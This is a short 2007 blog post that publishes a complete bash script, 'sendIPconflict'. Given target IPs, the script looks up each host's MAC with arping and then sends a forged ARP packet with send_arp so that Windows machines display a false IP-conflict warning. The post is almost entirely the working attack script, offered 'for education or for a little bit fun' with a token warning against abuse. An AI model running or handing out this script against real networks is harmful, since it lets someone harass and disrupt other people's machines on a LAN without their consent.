Sunday, September 9, 2007

Remote fake IP conflict on windows systems

Hey unix users! Below is a little script named ”sendIPconflict”. With it you can force a ip conflict error message on a windows system by running it with one or more ip addresses as parameters.

 

——————————————————————————–
#!/bin/bash
#
# Name: sendIPconflict
# Version: 1.0
# Date: 2007-09-09 05:25pm
# Author: Benjamin Schmidt <schmidi2@directbox.com>
# License: GNU GPL
#

# Description:
# Expects one or more IP’s as parameters or from STDIN (one IP per line).
# This script then sends an arp-package to the owner of the specified IP
# and causes (on windows-systems) to show a warning-dialog about a IP conflict.
# Note: No ARP-Spoofing is made!
#
# Requirements:
# This script needs bash and the tool send_arp/arping (on a debian-system you
# have to install the packages fake and arping).
# You must run this script as root otherwise send_arp will fail with
# the msg “socket: Operation not permitted”.
#
# Use this script for education or for a little bit fun. Don’t abuse it!
#

# This MAC-address is automatically generated by vmware
MY_MAC=”00:0c:29:23:b8:0a”

# This script has to run as root (check this and change to root if required)
if [ $UID -ne 0 ];
then
   echo “This script needs root privileges!”
   echo “Please, type root’s password…”
   su -c “$0 $1 $2 $3 $4 $5 $6 $7 $8 $9″
   exit 1
fi

# Check if required tools are available
if [ -z "`which arping`" -o -z "`which send_arp`" ];
then
   echo “Please install arping and send_arp to run this script!”
   echo “On a debian system you have to install the packages fake and arping.”
   exit 1
fi

IPs=”"

# First check parameters
while [ "$1" != "" ]; do
   IPs=$IPs” “$1
   shift
done

# If no parameter was passed, listen on STDIN
if [ -z "$IPs" ];
then
   while read in; do
      IPs=$IPs” “$in
   done
fi

for TARGET_IP in $IPs
do
   # First get the MAC address of the IP owner
   TARGET_MAC=”`arping -fc 1 $TARGET_IP 2>/dev/null | grep “Unicast” | cut -d “[" -f 2 | cut -d "]” -f 1`”
   if [ -z "$TARGET_MAC" ];
   then
      # An older version of arping doesn’t work the same way
      
TARGET_MAC=”`arping -c 1 $TARGET_IP 2>/dev/null | grep “from” | cut -d ” ” -f 4`”
   fi
   

   if [ -z "$TARGET_MAC" ];
   then
      echo “The IP $TARGET_IP is not online!”
      continue
   fi

   # Then send only to this host an ARP-package that his IP now
   # also registered on my host
   send_arp $TARGET_IP $MY_MAC $TARGET_IP $TARGET_MAC

   echo “Sent IP conflict message to IP $TARGET_IP”
done
——————————————————————————–
 

Posted by schmidi2 at 16:33:49 | Permalink | No Comments »